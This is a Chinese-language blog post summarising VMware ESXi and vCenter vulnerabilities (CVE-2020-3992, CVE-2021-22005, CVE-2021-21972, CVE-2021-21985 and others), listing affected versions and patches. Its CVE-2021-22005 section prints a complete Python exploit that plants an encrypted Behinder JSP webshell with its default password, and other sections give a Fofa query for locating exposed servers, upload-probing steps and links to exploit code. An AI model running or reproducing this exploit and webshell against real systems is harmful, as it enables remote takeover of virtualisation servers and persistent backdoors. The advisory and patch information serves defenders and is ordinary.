VMware vcenter/ESXI系列漏洞总结

news/2024/10/23 15:42:43/

文章目录

  • 前言
  • 漏洞一、VMware ESXI 远程代码执行漏洞(CVE-2020-3992)
  • 漏洞二、VMware ESXI身份验证和拒绝服务漏洞
    • 1、 VMware ESXi SFCB身份验证绕过漏洞(CVE-2021-21994)
    • 2、VMware ESXi OpenSLP拒绝服务漏洞(CVE-2021-21995)
  • 漏洞三、VMware vCenter Server 任意文件上传漏洞复现(CVE-2021-22005)
  • 漏洞四、VMware VCenter未授权任意文件上传漏洞(CVE-2021-21972)
  • 漏洞五、VMware vCenter Server远程代码执行漏洞(CVE-2021-21985)
  • 相关链接


前言

本文章主要对VMware ESXI、VMware VCenter系列进行漏洞整理,更多内容后续补充!


漏洞一、VMware ESXI 远程代码执行漏洞(CVE-2020-3992)

漏洞概述:
漏洞来源于ESXi中使用的OpenSLP存在“use-after-free”释放后重利用问题,当攻击者在管理网络(management network)中时,可以通过访问ESXi宿主机的427端口触发OpenSLP服务的user-after-free,从而导致远程代码执行。
在这里插入图片描述
影响范围

受影响产品版本

•	ESXi = 6.5
•	ESXi = 6.7
•	ESXi = 7.0
•	VMware Cloud Foundation (ESXi) = 3.X
•	VMware Cloud Foundation (ESXi) = 4.X

不受影响产品版本

•	ESXi650-202010401-SG
•	ESXi670-202010401-SG
•	ESXi_7.0.1-0.0.16850804
•	VMware Cloud Foundation (ESXi) = 3.10.1.1
•	VMware Cloud Foundation (ESXi) = 4.1

漏洞防护
在这里插入图片描述

漏洞二、VMware ESXI身份验证和拒绝服务漏洞

漏洞概述:

VMware ESXi中存在身份验证绕过漏洞(CVE-2021-21994)和拒绝服务漏洞(CVE-2021-21995),攻击者可利用这两个漏洞绕过身份验证和发起拒绝服务攻击。

1、 VMware ESXi SFCB身份验证绕过漏洞(CVE-2021-21994)

由于ESXi中使用的SFCB(Small Footprint CIM Broker)存在身份验证绕过漏洞,具有5989端口访问权限的攻击者可以利用该漏洞发送恶意请求来绕过SFCB身份验证。(注:在默认情况下,ESXi上未启用SFCB服务)

2、VMware ESXi OpenSLP拒绝服务漏洞(CVE-2021-21995)

由于堆越界读取问题,ESXi中使用的OpenSLP存在拒绝服务漏洞。具有427端口访问权限的攻击者可以在OpenSLP服务中触发堆越界读取,从而导致拒绝服务。

影响范围

VMware ESXi 7.0
VMware ESXi 6.7
VMware ESXi 6.5
VMware Cloud Foundation (ESXi) 4.x
VMware Cloud Foundation (ESXi) 3.x

漏洞防护

目前官方已发布安全版本,建议受影响用户及时下载相应补丁包进行防护:

1、CVE-2021-21994:
https://kb.vmware.com/s/article/1025757

2、CVE-2021-21995:
https://kb.vmware.com/s/article/76372

漏洞三、VMware vCenter Server 任意文件上传漏洞复现(CVE-2021-22005)

在这里插入图片描述
漏洞概述

在CVE-2021-22005中,攻击者可构造恶意请求,通过vCenter中的Analytics服务,可上传恶意文件,从而造成远程代码执行漏洞。

影响范围

VMware vCenter Server 7.0系列 < 7.0 U2c
VMware vCenter Server 6.7系列 < 6.7 U3o
VMware vCenter Server 6.5系列 不受漏洞影响

安全版本

VMware vCenter Server 7.0 U2c
VMware vCenter Server 6.7 U3o

利用脚本

import requests
import random
import string
import sys
import time
import requests
import urllib3
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)def id_generator(size=6, chars=string.ascii_lowercase + string.digits):return ''.join(random.choice(chars) for _ in range(size))def escape(_str):_str = _str.replace("&", "&amp;")_str = _str.replace("<", "&lt;")_str = _str.replace(">", "&gt;")_str = _str.replace("\"", "&quot;")return _strdef str_to_escaped_unicode(arg_str):escaped_str = ''for s in arg_str:val = ord(s)esc_uni = "\\u{:04x}".format(val)escaped_str += esc_unireturn escaped_strdef createAgent(target, agent_name, log_param):url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=%s&_i=%s" % (target, agent_name, log_param)headers = { "Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0", "X-Deployment-Secret": "abc", "Content-Type": "application/json", "Connection": "close" }json_data = { "manifestSpec":{}, "objectType": "a2","collectionTriggerDataNeeded": True,"deploymentDataNeeded":True, "resultNeeded": True, "signalCollectionCompleted":True, "localManifestPath": "a7","localPayloadPath": "a8","localObfuscationMapPath": "a9" }requests.post(url, headers=headers, json=json_data, verify=False)def generate_manifest(webshell_location, webshell):manifestData = """<manifest recommendedPageSize="500"><request><query name="vir:VCenter"><constraint><targetType>ServiceInstance</targetType></constraint><propertySpec><propertyNames>content.about.instanceUuid</propertyNames><propertyNames>content.about.osType</propertyNames><propertyNames>content.about.build</propertyNames><propertyNames>content.about.version</propertyNames></propertySpec></query></request><cdfMapping><indepedentResultsMapping><resultSetMappings><entry><key>vir:VCenter</key><value><value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="resultSetMapping"><resourceItemToJsonLdMapping><forType>ServiceInstance</forType><mappingCode><![CDATA[  #set($appender = $GLOBAL-logger.logger.parent.getAppender("LOGFILE"))###set($orig_log = $appender.getFile())###set($logger = $GLOBAL-logger.logger.parent)##  $appender.setFile("%s")##  $appender.activateOptions()## $logger.warn("%s")## $appender.setFile($orig_log)##  $appender.activateOptions()##]]></mappingCode></resourceItemToJsonLdMapping></value></value></entry></resultSetMappings></indepedentResultsMapping></cdfMapping><requestSchedules><schedule interval="1h"><queries><query>vir:VCenter</query></queries></schedule></requestSchedules></manifest>""" % (webshell_location, webshell)return manifestDatadef arg():parser = argparse.ArgumentParser()parser.add_argument("-t", "--target", help = "Target", required = True)args = parser.parse_args()target = args.targetprint("[*] Target: %s" % target)return targetdef exec():target = arg()# Variableswebshell_param = id_generator(6)log_param = id_generator(6)agent_name = id_generator(6)shell_name = "Server.jsp"webshell = """<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>"""webshell_location = "/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/%s" % shell_namewebshell = str_to_escaped_unicode(webshell)manifestData = generate_manifest(webshell_location,webshell)print("[*] Creating Agent")createAgent(target, agent_name, log_param)url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=%s&_i=%s" % (target, agent_name, log_param)headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0", "X-Deployment-Secret": "abc", "Content-Type": "application/json", "Connection": "close"}json_data ={"contextData": "a3", "manifestContent": manifestData, "objectId": "a2"}requests.post(url, headers=headers, json=json_data, verify=False)#webshell连接地址url = "%s/idm/..;/%s" % (target, shell_name)code = requests.get(url=url, headers=headers,verify=False).status_codeif code != "404":print("webshell地址: %s" % url)print("[*]冰蝎3.0 Webshell连接密码: rebeyond" )else:print("未获取到webshell地址")if __name__ == '__main__':exec()

漏洞四、VMware VCenter未授权任意文件上传漏洞(CVE-2021-21972)

在这里插入图片描述
漏洞描述:

CVE-2021-21972 vmware vcenter的一个未授权的命令执行漏洞。该漏洞可以上传一个webshell至vcenter服务器的任意位置,然后执行webshell即可。

影响版本

VMware vCenter Server 7.0系列 < 7.0.U1c VMware vCenter Server 6.7系列 < 6.7.U3l VMware vCenter Server 6.5系列 < 6.5 U3n VMware ESXi 7.0系列 < ESXi70U1c-17325551 VMware ESXi 6.7系列 < ESXi670-202102401-SG VMware ESXi 6.5系列 < ESXi650-202102101-SG 测试通过版本VMware-VCSA-all-6.7.0-8217866 VMware-VIM-all-6.7.0-8217866 2021-02-24

Fofa查询

Fofa语法-> title=“+ ID_VC_Welcome +”

Poc -> https://x.x.x.x/ui/vropspluginui/rest/services/uploadova
在这里插入图片描述
如果404401,则代表不存在漏洞,如果405200,则代表可能存在漏洞

利用方式

使用 Tabbed Postman - REST Client 工具 POST请求上传shell文件 也可使用 postman #注:返回状态码200 SUCCESS即上传成功。
在这里插入图片描述
在这里插入图片描述
使用冰蝎3.0连接shell 即可! 连接地址:x.x.x.x/ui/resources/shell.jsp、密码3.0默认。

脚本如下

https://github.com/horizon3ai/CVE-2021-21972
https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC/

修复建议

vCenter Server7.0版本升级到7.0.U1c
vCenter Server6.7版本升级到6.7.U3l
vCenter Server6.5版本升级到6.5 U3n

漏洞五、VMware vCenter Server远程代码执行漏洞(CVE-2021-21985)

在这里插入图片描述
漏洞概述:

该漏洞由于vCenter Server默认启用的插件Virtual SAN Health Check缺少输入验证导致的。能通过443端口访问到vSphere Client(HTML5)的攻击者,可以构造特殊的请求包在目标机器上执行任意代码。

影响版本

VMware vCenter Server 7.0系列 < 7.0.U2b
VMware vCenter Server 6.7系列 < 6.7.U3n
VMware vCenter Server 6.5系列 < 6.5 U3p
VMware Cloud Foundation 4.x 系列 < 4.2.1
VMware Cloud Foundation 4.x 系列 < 3.10.2.1

利用脚本

https://github.com/r0ckysec/CVE-2021-21985
https://github.com/xnianq/cve-2021-21985_exp

在这里插入图片描述

相关链接

Vcenter实战利用方式可详情右侧文章链接:https://mp.weixin.qq.com/s/PpH8obumyMYQi95cQLqOSw


http://www.ppmy.cn/news/271644.html

相关文章

#VMware#ESXI ESXI虚拟机安装

目录 一、下载镜像 二、安装ESXI平台 1、可以通过使用VMware workstation软件&#xff0c;在自己电脑进行安装虚拟机&#xff0c;也可以在服务器上安装&#xff1b;本次环境步骤跳过虚拟机安装时的配置&#xff0c;后续心情好或有空再做这个&#xff0c;很简单&#xff0c;就…

EMC vnx5100配置详解

登入unisphere管理平台&#xff0c;进入此台存储的管理界面&#xff0c;在右侧可以看到设备的序列号、控制器IP地址、微码信息 点击上侧的system选项 点击disks选项可以查看现有的所有磁盘信息 点击右侧的manage cache选项可以对读写cache进行设置 根据规划好的方案&#xff0c…

VMware ESXi

ESXi专为运行虚拟机、最大限度降低配置要求和简化部署而设计。只需几分钟时间&#xff0c;客户便可完成从安装到运行虚拟机的全过程&#xff0c;特别是在下载并安装预配置虚拟设备的时候。 在VMware Virtual Appliance Marketplace 上有800多款为VMware hypervisor 创建的虚拟…

ESXI虚拟机下安装 All in One系统

转载&#xff1a;我是阿皮啊 置顶本期资料打包下载&#xff1a;https://pan.baidu.com/s/10tiZPhhPxlTNC4-NgnzKxg 密码: a2no 恩山版ESXI集成网卡版&#xff1a;https://www.right.com.cn/forum/forum.php?modviewthread&tid3591932&fromguidhot ESXI网卡兼容列表查询…

ESXI虚拟化

ESXI虚拟化 1、ESXI2、ESXI安装3、客户端配置4、web界面部署 1、ESXI ESXI是VMware的企业虚拟化产品&#xff0c;可视为虚拟化的平台基础&#xff0c;部署于实体服务器。不同于VMware Workstation、VMware Server&#xff0c;ESXI采用的是&#xff08;裸金属或裸机&#xff09…

官方解释Vmware中虚拟化Intel VT-x/EPT、CPU性能计数器,虚拟化IOMMU

英特尔 虚拟化技术 (VT-x) 英特尔 虚拟化技术 (VT-x) 可使一个硬件平台起到多个“虚拟”平台的作用。它通过限制停机时间提高可管理性&#xff0c;并通过将计算活动隔离到多个独立分区保持工作效率。 英特尔 VT-x with Extended Page Tables (EPT) 带有扩展页表 (EPT) 的英…

vmware ESXI 裸金属架构 本地服务器 开启Intel VT-x(虚拟化技术)

我想使用vmware ESXI 安装的WIN10虚拟机中装vmware软件再装win10(即虚拟机中套虚拟机) 基于工作要求某个XXX项目需要开启VPN远程到客户内网进行维护,客户对网络审计比较严,安装VPN的那台机子识别码要上传服务器(基本登录VPN那台PC就绑定了,要换得要客户那边管理员改下重新绑定一…

虚拟化 VMware ESXi(一)

29.1 VMware ESXi介绍 其实前面有介绍过&#xff0c;VMware vSphere&#xff08;VMware ESXi&#xff09;是一种裸金属架构的虚拟化技术。虚拟机直接运行在系统硬件上&#xff0c;创建硬件全仿真实例&#xff0c;被称为“裸机”&#xff0c;适用于多台机器的虚拟化解决方案&…